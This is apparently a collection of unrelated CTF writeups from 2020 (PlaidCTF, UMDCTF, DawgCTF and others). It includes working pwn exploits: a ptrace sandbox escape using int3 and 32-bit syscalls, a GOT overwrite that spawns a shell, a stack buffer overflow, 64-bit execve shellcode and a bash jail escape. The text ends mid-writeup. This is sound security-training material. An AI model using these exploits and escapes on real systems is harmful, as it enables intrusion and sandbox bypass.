64-bit shared object using shellcode with relative jumps```; @dialluvioso_ and @XnbEm /cc @ulexec[BITS 64] ; 64-bit ELF headerehdr: db 0x7F, "ELF", 2, 1, 1, 0 ; e_ident times 8 db 0 ; reserved (zeroes) dw 3 ;e_type dw 0x3e ;e_machine dd 1 ;e_version dq _start ;e_entry dq phdr - $$ ;e_phoff_start: dq 0x732F6E69622FBF48 ;e_shoff dd 0xEB570068 ;e_flags dw 0x001D ;e_ehsize dw phdrsize ;e_phentsize dw 2 ;e_phnumehdrsize equ $ - ehdr ; 64-bit ELF program headerphdr: dd 1 ;p_type dd 7 ;p_flags dq 0 ;p_offset dq $$ ;p_vaddr dq 0x1CEB57006AE78948 ;p_paddr dq filesize ;p_filesz dq filesize ;p_memsz dq 0x200000 ;p_align ;program header sizephdrsize equ $ - phdr dd 2 ;p_type dd 0x40EB5E54 ;p_flags dq dyntab - $$ ;p_offset dq dyntab ;p_vaddr dyntab: dq 5, _start dq 6, _start dq 12, _start push 59 pop rax cdq syscall filesize equ $ - $$```
# reee## Story```Tired from all of the craziness in the Inner Sanctum, you decide to venture out to the beach to relax. You doze off in the sand only to be awoken by the loud “reee” of an osprey. A shell falls out of its talons and lands right where your head was a moment ago. No rest for the weary, huh? It looks a little funny, so you pick it up and realize that it’s backwards. I guess you’ll have to reverse it.```## Problem Details[Download](./reee)```Hint: Flag formatThe flag format is pctf{$FLAG}. This constraint should resolve any ambiguities in solutions.```Running `file` command:```bashfile reeereee: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=3ccec76609cd013bea7ee34dffc8441bfa1d7181, stripped```Running `strings` command nothing interesting:```/lib64/ld-linux-x86-64.so.2libc.so.6puts__libc_start_main__gmon_start__GLIBC_2.2.5...need a flag!Correct!Wrong!...```Test running:```./reeeneed a flag!Segmentation fault ./reee flagWrong! ```Seems the flag is the program argument ## AnalyseIt's open it in Ghidra and analyse it! **entry function:**```cvoid entry(undefined8 uParm1,undefined8 uParm2,undefined8 uParm3) { undefined8 in_stack_00000000; undefined auStack8 [8]; __libc_start_main(FUN_0040064e,in_stack_00000000,&stack0x00000008,FUN_00400940,FUN_004009b0,uParm3 ,auStack8);}```Looks like the `main` function is located at `FUN_0040064e` *Note: I modified the code to more readable, it is not the original code* **main function:**```cvoid main(int iParm1) { code cVar1; long valid; int j; int i; if (iParm1 < 2) { puts("need a flag!"); } i = 0; while (i < 0x7a69) { j = 0; while (j < 0x228) { cVar1 = unscramble(check_flag[j]); // unscramble the check_flag function check_flag[j] = cVar1; // Overwrite the function j = j + 1; } i = i + 1; } valid = check_flag(); // If check_flag return 1 then is valid flag if (valid == 0) { puts("Wrong!"); } else { puts("Correct!"); } return;}```We need to get the unscrambled `check_flag` function to analyse how it works I'm lazy to analyse the `unscramble` function So I decided to open it in `GDB Debugger` and set breakpoint to get the function shellcode:```gdb ./reeepwndbg> b * 0x4006db Breakpoint 1 at 0x4006dbpwndbg> run flagBreakpoint * 0x4006db......pwndbg> dump binary memory check_flag 0x4006e5 0x40093f```The `check_flag` function start from 0x4006e5 to 0x40093f Wrote a simple python script to replace the unscramble `check_flag` to the original ELF:```pythoncheck_flag = open("./check_flag",'r').read()elf = open("./reee",'r').read()start,end = 0x6e5,0x93f new_elf = elf[:start] + check_flag + elf[end:]open("./reee2",'w').write(new_elf)```Use Ghidra to open the new ELF, we can start analyse the real `check_flag` function! **check_flag function:**```culong check_flag(void) { char cVar1; char *input; long input_length; byte bVar5; int i; int j; input_length = strlen(input); // Calculate input length bVar5 = 0x50; i = 0; while (i < 0x539) { // XORing the input 0x539 times j = 0; // using 0x50 as starting key while (j < input_length) { input[j] = input[j] ^ bVar5; bVar5 = bVar5 ^ input[j]; j = j + 1; } i = i + 1; } i = 0; while (i < input_length) { if(input[i] != (&UNK_004008eb)[i]) // If all XORed input is equal to // the memory then input is valid return false } return true}```## SolvingLooks like we need to calculate the flag based on the memory at 0x4008eb **Z3 solver** can help us to calculate the flag! I wrote a [python script](./solve2.py) that calculate the flag using z3:```pyfrom z3 import *elf = open("./reee2",'r').read()data = bytearray(elf[0x8eb:]) # Get the memory at 0x4008eb (0x8eb in file) key = 0x50length = 33 # Guess the flag length is 33solver = Solver() # Declare Flag BitVectorflag = [BitVec('b%i' % i,8) for i in range(length)] # Declare Input BitVector is same as Flaginp = [BitVec('b%i' % i,8) for i in range(length)] for i in range(0x539): # XOring the input according for j in range(length): # to the check_flag function inp[j] = inp[j] ^ key key = key ^ inp[j] for i in range(length): solver.add(data[i] == inp[i]) # Add condition which # input is equal to memory # Condition flag is in printable ascii range solver.add(And(flag[i] >= 33,flag[i] <= 126)) # Condition flag is in flag format according to hintsolver.add(flag[0] == ord("p")) solver.add(flag[1] == ord("c"))solver.add(flag[2] == ord("t"))solver.add(flag[3] == ord("f"))solver.add(flag[4] == ord("{"))solver.add(flag[-1] == ord('}')) if solver.check() == sat: modl = solver.model() print("Length: "+str(length)) print(''.join([chr(modl[f].as_long()) for f in flag]))for i in range(length): flag[i].reset() inp[i].reset()```After guessing few times the flag length, we found that the flag length is 33:```bashpython solve2.py Length: 33pctf{ok_nothing_too_fancy_there!}```Finally, we get the Flag!!! ## Flag```pctf{ok_nothing_too_fancy_there!}``` ## Better SolutionActually we can just brute force without z3 [Writeup by duks](https://duksctf.github.io/2020/04/19/PLaidCTF-reee.html)
The challenge points you in the direction of: wpictf.xyz with a hint of "my sources" source in wpictf.xyz's page says can't be a robot, robot.txt shows inspector.txt inspector.txt says the wpicsc club webpage could be of use wpicsc club webpage's source code says "check out our prizes" in a comment go back to wpictf.xyz check out prizes, and look at the page in inspector (hence the challenge name). The flag is there: WPI{1nsp3ct0r_H@ck3R}
# Sandybox (sandbox, ptrace, int3) This was the lowest scored pwn challenge in PlaidCTF 2020, but still very interesting one! In this challenge we have an example of sandbox implemented using `ptrace`. If you havn't solved the challenge – I strongly encourage you to watch a great presentation by Robert Swiecki [Escaping the (sand)box](https://www.youtube.com/watch?v=gJpaxisyQfY) and give it one more try:) Note that there are multiple ways of solving this challenge. If I mention that some particular operation is not interesting it means that it is no interesting for my exploitation path:) ## SourceChallenge creators provided us with binary. I have to say that I hate when pwn creators don't give the source code to participants. Especially when reversing part is not challenging, but just takes time.But back to the challenge. The reversing part was rather simple as the binary was small in size. You can check the full pseudocode [here](source.c). ## FlowThe very simplified flow is as follows:1) Program does have some `rlimits` limitations, restricting the cpu usage, file sizes and numer of processes. Nothing interesting.2) Then the `fork` is being invoked. The child is going to be sandboxed and the parent is going to be the supervisor. 3) [Child] The child calls `ptrace` with `PTRACE_TRACEME` flag, stops and waits for parent to start tracing it.3) [Parent] The parent starts tracing the child. In infinite loop he waits for the child to invoke syscall, then it checks if it should allow the syscall or block it. And again till the child dies, exits or timeouts.4) [Child] Child mmaps a region, reads 10 bytes of shellcode from user to this region and finaly jumps to it. ## 10 BytesSo it seemed that we have only 10 bytes to play with. I knew that I need some more space as I'm not a master at assembly. So first thing I wanted to focus on was to be able to execute more then 10 bytes. This is how the child reads and then jump to shellcode: ```cint exec_shellcode(){ char *code, *code_ptr; syscall(__NR_alarm, 20); code = mmap(NULL, 10, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); // 1 <-- allocate some executable memory printf("> "); code_ptr = code; do // <-- read shellcode byte by byte { if (read(0, code_ptr, 1) != 1) { exit(0); } code_ptr += 1; } while (code_ptr != code + 10); (*code)(); // 3 <-- jump to shellcode return 0;}``` So the first think to notice is that mmap never allocates less then PAGE_SIZE. So there has been allocated at least 4096 bytes of executable memory. Secondly, when sandboxed process jumps to our shellcode the `$rsi` is already set to code + 10. This means that we can make our shellcode just call `read` again to load some longer shellcode! So the 10 bytes of shellcode look like this: ```python3shellcode = asm('''push 1000pop rdxxor eax, eaxsyscall''', arch='amd64')``` and are only supposed to load the rest of shellcode which can be up to 1000 bytes long:) ## FilterSo can we now just open and read the flag? Unfortunately no. Every time the sandboxed process invokes syscall, the tracer checks the register state of the tracee and decides whether or not the syscall should be allowed: ```cvoid check_syscall(pid_t child_pid, struct user_regs_struct *regs){ char pathname_part0[8]; char pathname_part1[8]; if (regs.orig_rax == __NR_lseek || regs.orig_rax == __NR_read || regs.orig_rax == __NR_write || regs.orig_rax == __NR_close || regs.orig_rax == __NR_fstat || regs.orig_rax == __NR_exit || regs.orig_rax == __NR_exit_group || regs.orig_rax == __NR_getpid) return 0; if (regs.orig_rax == __NR_alarm) { /* Allow only short alarms. */ return regs.rdi > 20; } if (regs.orig_rax == __NR_munmap || regs.orig_rax == __NR_mprotect || regs.orig_rax == __NR_mmap) { return regs.rsi <= 0x1000; } if (regs.orig_rax == __NR_open) { /* Flags must be O_RDONLY. */ if (regs.rsi != 0) return 1; pathname_part0 = ptrace(PTRACE_PEEKDATA, child_pid, regs.rdi, 0); pathname_part1 = ptrace(PTRACE_PEEKDATA, child_pid, regs.rdi + 8, 0); // TODO some extra checks. For example whether the path contains a "flag" string in it. } return 1;}``` I havn't reversed the whole function, especialy the check for `sys_open`. But the simple `open('flag', O_RDONLY, 0)` doesn't work as the tracer blacklists the `flag` word in the pathname (I believe it does it wrong and there is a way to bypass this check – but I've picked other way). ## Ptrace doesn't workRobert Sowiecki explained very well why `ptrace` should not be used to sandboxing. First thing he pointed out is that tracer must keep track of entries and exits from syscall as the `ptrace` itself doesn't really tells the user whether the process has just exited or entered the syscall. And guess what – the challenge program doesn't keep track of those entries and exits correctly:) Let's see the simplified main loop of the supervisor. ```c// simplified main tracer loopwhile (1) { // wait for a syscall entry ptrace(PTRACE_SYSCALL, child_pid, 0); waitpid(child_pid, &status, __WALL); ptrace(PTRACE_GETREGS, child_pid, 0, regs); if (check_syscall(child_pid, regs)) { // ALLOW SYSCALL } else { // BLOCK SYSCALL } // wait for a syscall exit ptrace(PTRACE_SYSCALL, child_pid, 0, 0); waitpid(child_pid, &status, __WALL);}``` As you can see, the program waits for a syscall entry and syscall exit in the same maner. This is of course not the sandbox programer fault, but it is the design. According to [man](http://man7.org/linux/man-pages/man2/ptrace.2.html) page: ```PTRACE_SYSCALL, PTRACE_SINGLESTEP Restart the stopped tracee as for PTRACE_CONT, but arrange for the tracee to be stopped at the next entry to or exit from a system call, or after execution of a single instruction, respectively. (The tracee will also, as usual, be stopped upon receipt of a signal.) From the tracer's perspective, the tracee will appear to have been stopped by receipt of a SIG‐ TRAP. So, for PTRACE_SYSCALL, for example, the idea is to inspect the arguments to the system call at the first stop, then do another PTRACE_SYSCALL and inspect the return value of the system call at the second stop. The data argument is treated as for PTRACE_CONT. (addr is ignored.)``` But what if we trick the tracer and make the loop look like this: ```c// simplified main tracer faked loopwhile (1) { // wait for a syscall exit ptrace(PTRACE_SYSCALL, child_pid, 0); waitpid(child_pid, &status, __WALL); ptrace(PTRACE_GETREGS, child_pid, 0, regs); if (check_syscall(child_pid, regs)) { // ALLOW SYSCALL } else { // BLOCK SYSCALL } // wait for a syscall entry ptrace(PTRACE_SYSCALL, child_pid, 0, 0); waitpid(child_pid, &status, __WALL);}``` So now the tracer will be checking the registers on exit to syscall. What of course makes no sense:) But how can we make the tracer loose track of those entries/exits? There is a well known trick using `int3` instruction! It will wake the parent which will think the syscall has been invoked, but in fact there was no syscall just interupt. And so we just inverted the loop:) And after we are free to just open and read a flag file.Our exploit is super short:) ```python3# First 10 bytes of shellcode, used only to load the rest of the shellcodeshellcode = asm('''push 1000pop rdxxor eax, eaxsyscall''', arch='amd64') # Some nops to be sure there is no SIGSEV# Invoke int3 to invert the main tracer loopshellcode += asm('''nopnopnopnopnopnopnopmov rax, 8int3''', arch='amd64') # And now just read the flag file :)shellcode += asm(shellcraft.amd64.cat('flag'), arch='amd64')``` ## POC: ```console$ sudo python3 exp.py REMOTE[sudo] password for k: [*] '/home/k/sandboxy/sandybox' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled[+] Opening connection to sandybox.pwni.ng on port 1337: Done10[DEBUG] Sent 0x3b bytes: 00000000 68 e8 03 00 00 5a 31 c0 0f 05 90 90 90 90 90 90 │h···│·Z1·│····│····│ 00000010 90 48 c7 c0 08 00 00 00 cc 68 66 6c 61 67 6a 02 │·H··│····│·hfl│agj·│ 00000020 58 48 89 e7 31 f6 99 0f 05 41 ba ff ff ff 7f 48 │XH··│1···│·A··│···H│ 00000030 89 c6 6a 28 58 6a 01 5f 99 0f 05 │··j(│Xj·_│···│ 0000003b[+] Receiving all data: Done (84B)[DEBUG] Received 0x6 bytes: b'o hai\n'[DEBUG] Received 0x4e bytes: b'> PCTF{bonus_round:_did_you_spot_the_other_2_solutions?}\n' b'so long, sucker 0x8b\n'[*] Closed connection to sandybox.pwni.ng port 1337```
No captcha required for preview. Please, do not write just a link to original writeup here. [LINK](https://hell38vn.wordpress.com/2020/04/14/ctf-tghack-2020-crypto-the-message-137pt/)
# Coal Miner - Exploitation ## Description First to fall over when the atmosphere is less than perfect Your sensibilities are shaken by the slightest defect nc 161.35.8.211 9999Author: moogboi ## Solution We are given a binary "coalminer" ```$ file coalminer coalminer: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=bd336cddc0548ae0bc5e123e3932fd91be29888a, not stripped``` ```$ checksec coalminer[*] '/home/yodak/Documents/umdctf2020/coalminer/coalminer' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)``` We can add or print items ```$ ./coalminer Welcome to the Item DatabaseYou may choose the commands 'add' or 'print' or 'done'> add Enter a name: aaaaaEnter a description: aaaa> print Item 1 aaaaa aaaa > done ``` First, lets understand how adding new item works, thats how "AddItem" function looks in ghidra: ```void AddItem(astruct *param_1){ uint uVar1; void *pvVar2; long in_FS_OFFSET; undefined8 local_28; long local_20; local_20 = *(long *)(in_FS_OFFSET + 0x28); uVar1 = param_1->number_of_items; pvVar2 = malloc(0x20); *(void **)(&param_1->description + (ulong)uVar1 * 0x10) = pvVar2; puts("Enter a name: "); gets(&param_1->name + (ulong)(uint)param_1->number_of_items * 0x10); puts("Enter a description: "); gets((char *)&local_28); **(undefined8 **)(&param_1->description + (ulong)(uint)param_1->number_of_items * 0x10) = local_28; param_1->number_of_items = param_1->number_of_items + 1; if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return;} ``` We can see that it allocates 32 bytes on the heap for the item description, then it reads to stack a name of the item, reads description to local variable, and then copies the 8 bytes of description to previously allocated memory on the heap. We can clearly see that using the gets functions causes stack buffer overflow, but from checksec command we deduced that stack canary is used, which doesn't allow us to just overflow funtion return address. The parameter passed to the AddItem function is a local variable in the main function, so let's take a look how these variables are actually stored. That's how the stack looks before returning from "AddItem" function. ```pwndbg> x/200xg $rsp0x7fffffffdbf0: 0x0000000000602080 0x00007fffffffdc300x7fffffffdc00: 0x0000000062626262 0x09cea916a75828000x7fffffffdc10: 0x0000000000400b90 0x0000000000400b900x7fffffffdc20: 0x00007fffffffde50 0x0000000000400af70x7fffffffdc30: 0x0000000061616161 0x00000000006036b0 . . .0x7fffffffde30: 0x0000000000000001 0x0000000000400770``` My input for the name was "aaaa" and for the description "bbbb", the name landed on address 0x7fffffffdc30, which is main local variable, on address 0x7fffffffdc38 we can see address of space allocated by malloc, where is copied the description of item, which is stored at address 0x7fffffffdc00, address 0x7fffffffde30 stores number of items which is increased by one every time the function is called. We can establish from this that a single item is a struct looking something like this: ```struct Item { char name[8]; char *description;};``` The "PrintItems" function just looks how many items there is (address 0x7fffffffde30 in my case) and prints name and description (which is the address to the heap) of the items. So to exploit this first we have to determine which version of libc is run on the server. We can use the gets function that saves Item name and can overwrite the address of item description and then use the "PrintItems" function (it prints the description of item at an address) to read address from GOT. But first we have to find a way to not overwrite that address because "addItem" function saves there the description suplied by second gets. ```gets((char *)&local_28);**(undefined8 **)(&param_1->description + (ulong)(uint)param_1->number_of_items * 0x10) = local_28;``` To do this we can supply more than one item and overwrite the variable that stores the number of items, to make "addItem" function not to overwrite the address we want to read. Script that I used: ```from pwn import * r = remote('161.35.8.211', 9999)puts_plt=0x602020address=0x602010 # address that we dont care if it gets overwritten print(r.recvuntil('> ')) r.sendline('add')r.sendline('a'*8+p64(puts_plt)+'b'*8+p64(address)+'c'*(480)+"\x01")r.sendline('asdf') print(r.recvuntil('> ')) r.sendline('print') par = r.recvuntil('> ') puts_libc = u64(par.split("\n")[3][1:]+"\0\0") print(hex(puts_libc)) r.close() ``` The variable that stores the number of items is overwritten by 1, it is incremented by one by "AddItem" function and then the description supplied by gets is written to 0x602010 and the 0x602020 is not changed. To identify which libc is running I used https://libc.nullbyte.cat/ After that we can write the actual script to exploit it, I replaced the strcmp funtion address in GOT by system function, because it uses string provided by user in which we just write "/b*/sh" (the wildcard * is used becaues it reads 7 bytes from user) ```from pwn import * r = remote('161.35.8.211', 9999)puts_plt=0x602020address=0x602010 # random address that we dont care if it gets overwrittenstrcmp_plt=0x602050offset_system=0x03f480offset_puts=0x068f90 print(r.recvuntil('> ')) r.sendline('add')r.sendline('a'*8+p64(puts_plt)+'b'*8+p64(address)+'c'*(480)+"\x01")r.sendline('asdf') print(r.recvuntil('> ')) r.sendline('print') par = r.recvuntil('> ') libc = u64(par.split("\n")[3][1:]+"\0\0")-offset_putsprint(hex(libc)) r.sendline('add') r.sendline('a'*8+p64(strcmp_plt))r.sendline(p64(libc+offset_system))print(r.recvuntil('> ')) r.sendline('/b*/sh') r.interactive() r.close() ```
#### Problem description **Part1:**Alice gets the array of 8 random numbers from interval `[0,40000]`, discards one number and sends the permutation of these numbers to Bob. Bob then have to figure out the discarded card from the permutation of the numbers he got. The challenge was to implement functions for Bob and Alice, where Alice and Bob were supposed to not share any other state between them. **Part2:**Alice gets a random list consisted of exactly 64 1's and 32 2's. She then chooses exactly 32 positions of 1's and sends them to Bob. Bob by having 32 1's has to figure out the original array consisted of 96 elements. The challenge was to implement functions for Bob and Alice, where Alice and Bob were supposed to not share any other state between them. #### Brief solutions **Part1:**The solution comes from the [paper](https://sci-hub.tw/10.1007/BF03025305) that I got from p4 team after the CTF and which we failedd to solve during the CTF, although we were very close and the script only needed brief changes. TL;DRWe can represent the discarded element by `discarded = 8*p + reminder`, where it is known that `p < 40000/8 < 5040 = 7!` and `0 <= reminder < 8`. By permutation of the 7 cards, Alice can encode `p`. By simplyfing a little bit, the reminder is the position of the discarded element in the sorted array, which Alice can smuggle to Bob indirectly and Bob can recover. In the code and the paper it's a little bit more smart, but this a similar approach. From that, Bob can easily recover the number. **Part1:**The idea for the solution is the observation that at least one 2 must be adjacent to one 1. So the Alice wants to choose that 1 because Bob can then know that there must be 2 next to it. By induction, that one pair of (1,2) can be "removed" and the process repeated, which proves solvability of the problem. If we treat the array as a cycle, then there are exactly two 2 that are adjacent to 1. I chose to always leave the 1 that is right to 2, e.g. 22221 The commented PoCs for the solutions are [here](https://gist.github.com/terjanq/a28476359870600c7ad79eb0bbdd9d07)
# Bof to the top ## Description > Anything it takes to climb the ladder of success>> nc ctf.umbccd.io 4000 Attached is the binary and the c code. ```c#include "stdio.h"#include "string.h"#include "stdlib.h" // gcc -m32 -fno-stack-protector -no-pie bof.c -o bof void audition(int time, int room_num){ char* flag = "/bin/cat flag.txt"; if(time == 1200 && room_num == 366){ system(flag); }} void get_audition_info(){ char name[50]; char song[50]; printf("What's your name?\n"); gets(name); printf("What song will you be singing?\n"); gets(song);} void welcome(){ printf("Welcome to East High!\n"); printf("We're the Wildcats and getting ready for our spring musical\n"); printf("We're now accepting signups for auditions!\n");} int main(){ welcome(); get_audition_info(); return 0;}``` ## Solution This is a fairly easy exploit as the source code is given. Function `audition` prints the flag, we just need to reach it from `get_audition_info`. We can overflow the buffer to overwrite the return address and set it to `audition`'s address. We also need to pass the correct arguments to the function, we can also give them by modifying the stack. ```pythonfrom pwn import * audition = 0x08049182ebp = 0xffffd5e8 sh = remote("ctf.umbccd.io", 4000) print(sh.recvuntil("name?").decode())sh.sendline("Hello")print(sh.recvuntil("singing?").decode()) payload = b'0'*100 + p32(ebp) + p32(ebp) + p32(ebp) + p32(audition) + p32(ebp) + p32(1200) + p32(366) sh.sendline(payload) sh.interactive()``` ![bof](../images/bof.png) Flag: `DawgCTF{wh@t_teAm?}`
# PlaidCTF 2020 - Sandybox writeup Written by @oranav on behalf of @pastenctf.Visit the [original writeup](https://github.com/oranav/ctf-writeups/tree/master/plaid20/sandybox) for the solution code. ## Overview We are presented with a single binary `sandybox`. After some setting up, it forks [1], waits for a ptrace tracer to attach [2], stops [3], and finally calls an inner function [4]: ```cchild_pid = fork(); // [1]...if ( !child_pid ){ prctl(PR_SET_PDEATHSIG, SIGKILL); if ( getppid() != 1 ) { if ( ptrace(PTRACE_TRACEME, 0LL, 0LL, 0LL) ) // [2] { ... } myself = getpid(); kill(myself, SIGSTOP); // [3] child(); // [4] _exit(0); }...}``` Inside the inner function, an RWX space of size 10 bytes is allocated, then a shellcode (of exactly 10 bytes) is read, and finally executed: ```cchar *buf, *ptr;ptr = buf = (char *)mmap(0LL, 10uLL, 7, 34, -1, 0LL);...do{ if ( read(0, ptr, 1uLL) != 1 ) _exit(0); ++ptr;}while ( ptr != buf + 10 );((void (*)(void))buf)();``` Note that at the time our shellcode is run, the tracer is already attached to us. Now what does it do? Basically, it sandboxes our shellcode. In short, it sanitizes the syscalls we are making by repeatedly using `PTRACE_SYSCALL`; what follows is essentially what the sanitizer does (by inspecting the registers, especially the syscall number - `rax`): 1. `read`, `write`, `close`, `fstat`, `lseek`, `getpid` `exit`, `exit_group` (0, 1, 3, 5, 8, 39, 60, 231 respectively) are unconditionally allowed.2. `alarm` (37) is allowed only if `rdi` is at most 20.3. `mmap`, `mprotect`, `munmap` (9, 10, 11 respectively) are allowed only if `rsi` (len) is at most 0x1000.4. `open` (2) is allowed only if `rsi` is 0, `rdi` points to a valid address with a string of size at most 15, that does not contain the substrings "flag", "proc" or "sys". ## 32-bit syscalls to the rescue! There are multiple solutions possible. However, the easiest I could come up with is just using 32-bit syscalls. You see, Linux syscall numbers differ among different architectures. x86 and amd64 are no exceptions; they have different syscall tables. However, the interesting situation is that Linux on amd64 (usually) supports running x86 binaries. This means you can issue 32-bit syscalls from a 64-bit process, using **32-bit syscall numbers** (by hitting `int 0x80`). However, you are limited to 32-bit registers, so it's highly unlikely that you'll be able to pass pointers unless you mapped specific addresses. However, note that while `rax=2` represents `open` under 64-bit, it represents `fork` under 32-bit. By setting up the correct register structure, we are able to issue syscall number 2! By using `int 0x80` instead of `syscall`, Linux runs fork(). After we forked, the newly created child is not traced by anyone, and it is free to do whatever it wants. Now we can just `open`, `read`, and `write` the flag. ## All this in 10 bytes?! Huh? No way. Well, Linux `mmap`s with a page granularity. Even though 10 bytes are requested for our RWX section, the generous kernel provides us no less than 4096 bytes! Hence, we split the shellcode into two parts. The first (small) shellcode just `read`s the second (larger) shellcode into the RWX section, and right after `read` returns - the second shellcode runs. ## Wrap up The flag is `PCTF{bonus_round:_did_you_spot_the_other_2_solutions?}`. Well, can you?
if ConvertFunction(Input Value)="PH?>OA(vN/io/Zb<q.Zt+pZKm.io0x" =>OK ;) Table of Converted input chars:```a=\b=]c=^d=_e=`f=ag=bh=ci=dj=ek=fl=gm=hn=io=jp=kq=lr=ms=nt=ou=pv=qw=rx=sy=tz=u A=<B==C=>D=?E=@F=AG=BH=CI=DJ=EK=FL=GM=HN=IO=JP=KQ=LR=MS=NT=OU=PV=QW=RX=SY=TZ=U0=+1=,2=-3=.4=/5=06=17=28=39=4~=y!=@=;#=$=%=^=Y&=!*=%(=#)=$-=(_=Z+=&==8<=7>=9?=:"=|=w{=v}=x[=V]=X'="\=W,='.=)/=*``` Final Flag: UMDCTF-{S4nt4_gAv3_y0u_Pr3nt5}
# DawgCTF 2020 – Nash2 * **Category:** pwn* **Points:** 200 ## Challenge > It's nospacebash for real this time!> > nc ctf.umbccd.io 5800> > Author: BlueStar ## Solution You have to print the `flag.txt` file but your shell can't use spaces and you can't redirect with `<` (that was the unintended solution of the original challenge *Nash*). There is a well-known bash jail escape tecnique which uses the command `more`, that is available on the system. To use it, you have to find something long enough to be passed into `more`. Luckily that host had a lot of processes, so to launch `more` the command was the following. `nash> ps|more` At this point, you can use the jail escape tecnique. `!'sh' flag.txt` The `sh` interpreter will try to execute the `flag.txt` file, spawning an error which will reveal its content. ![nash2.png](https://github.com/m3ssap0/CTF-Writeups/raw/master/DawgCTF%202020/Nash2/nash2.png) The flag is the following. ```DawgCTF{n0_n0_eZ_r3d1r3ct10n_4_u_tR0LL$}```
# John Cena This challenge was fairly simple, but had one or two complications. The first step was parsing the image. Before I could script it, I opened upthe image in GIMP to have a look at spacing. As it turned out, each brailleblock was 30 pixels wide, but the heights weren't consistent. On odd rows itwas 43 pixels high, and even rows were 44 pixels high. There were 33 blocks toa row, and 57 rows in the image. After taking measurements, it was scripting time. I used `PIL` and `numpy`,becuase I like python :P. The main chunker is shown below: ```pyi = Image.open("braille.png")a = np.asarray(i)a = a[:, 6:-6, :] slices = []ypos = 0for row in range(57): for col in range(33): chunk = a[ypos: ypos+44, col * 30: (col + 1) * 30, :] slices.append(chunk) ypos += 44 if row % 2 else 43``` Rather than multiplying the `row` value, I tracked the current y positionusing the `ypos` variable, which allowed me to account for the varying rowheights. There were over a thousand individual chunks, so I've only put one ofthem here for illustation: ![](https://i.imgur.com/z7QkAar.png) After compiling the chunks, I needed to identify the circles within them.Rather that using anything fancy, I just tested 6 pixels in each chunk, eachslightly off the centre of one of the circles. For larger circles, it wouldhit a pink pixel, but smaller circles would hit a black pixel. This code forthis is below: ```pydata = ''for i in slices: px = [ i[4, 7, 0] > 50, i[19, 7, 0] > 50, i[34, 7, 0] > 50, i[4, 20, 0] > 50, i[19, 20, 0] > 50, i[34, 20, 0] > 50, ] p = ''.join(map(str, map(int, px))) data += lookup[p]``` I converted each block into a 6-digit string of 0s and 1s, allowing me to mapit into a braille character using ```pylookup = { '100000': '⠁', '110000': '⠃', '100100': '⠉', '100110': '⠙', '100010': '⠑', '110100': '⠋', '110110': '⠛', '110010': '⠓', '010100': '⠊', '010110': '⠚', '001111': '⠼', '000000': ' ',}``` The output braille, sadly, wasn't technically valid. The `⠼` characternormally indicates that the next sequence of characters create a number, untila blank symbol is found. For example, `⠼⠁⠃` would be `12`. In this case,however it was used to indicate that only the immediate next character was anumber. This means that same symbol of characteres decoded to `1B`. To decodethis, I wrote the horrible bit of python shown below: ```pynums = '⠚⠁⠃⠉⠙⠑⠋⠛⠓⠊'charas = ' abcdef???????' is_num = Falseout = ''for i in BRAILLE: if i == '⠼': is_num = True else: idx = nums.index(i) out += str(idx) is_num else charas[idx] is_num = Falseprint(out)``` This produced a hex string, shown below as a hexdump. ```00000000 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 02 00 3e 00 01 00 00 00 |.ELF..............>.....|00000018 80 00 40 00 00 00 00 00 40 00 00 00 00 00 00 00 e0 00 00 00 00 00 00 00 |..@.....@.......à.......|00000030 00 00 00 00 40 00 38 00 01 00 40 00 04 00 03 00 01 00 00 00 07 00 00 00 |[email protected]...@.............|00000048 80 00 00 00 00 00 00 00 80 00 40 00 00 00 00 00 80 00 40 00 00 00 00 00 |..........@.......@.....|00000060 49 00 00 00 00 00 00 00 49 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 |I.......I...............|00000078 00 00 00 00 00 00 00 00 b8 01 00 00 00 bf 01 00 00 00 be b4 00 40 00 31 |........¸....¿....¾´[email protected]|00000090 c9 67 8b 14 0e 83 c2 31 67 89 14 0e ff c1 83 f9 15 75 ee ba 15 00 00 00 |Ég....Â1g...ÿÁ.ù.uîº....|000000a8 0f 05 b8 3c 00 00 00 31 ff 0f 05 00 26 1f 18 4a 3b 03 42 00 47 0a 00 42 |..¸<...1ÿ...&..J;.B.G..B|000000c0 03 2e 04 32 41 44 31 04 4c 00 2e 73 68 73 74 72 74 61 62 00 2e 74 65 78 |...2AD1.L..shstrtab..tex|000000d8 74 00 2e 64 61 74 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |t..data.................|000000f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |........................|00000108 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |........................|00000120 0b 00 00 00 01 00 00 00 07 00 00 00 00 00 00 00 80 00 40 00 00 00 00 00 |..................@.....|00000138 80 00 00 00 00 00 00 00 33 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |........3...............|00000150 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 00 00 00 01 00 00 00 |........................|00000168 03 00 00 00 00 00 00 00 b4 00 40 00 00 00 00 00 b4 00 00 00 00 00 00 00 |........´.@.....´.......|00000180 15 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 |........................|00000198 00 00 00 00 00 00 00 00 01 00 00 00 03 00 00 00 00 00 00 00 00 00 00 00 |........................|000001b0 00 00 00 00 00 00 00 00 c9 00 00 00 00 00 00 00 17 00 00 00 00 00 00 00 |........É...............|000001c8 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |........................|``` I didn't have Linux handy, and the binary wouldn't run in WSL, so I did theless-than-obvious thing and converted it to python. Running it through radare showed that it was grabbing some data, adding 49(0x31) to each byte, then printing it out. ```[0x00400080]> pdf ;-- 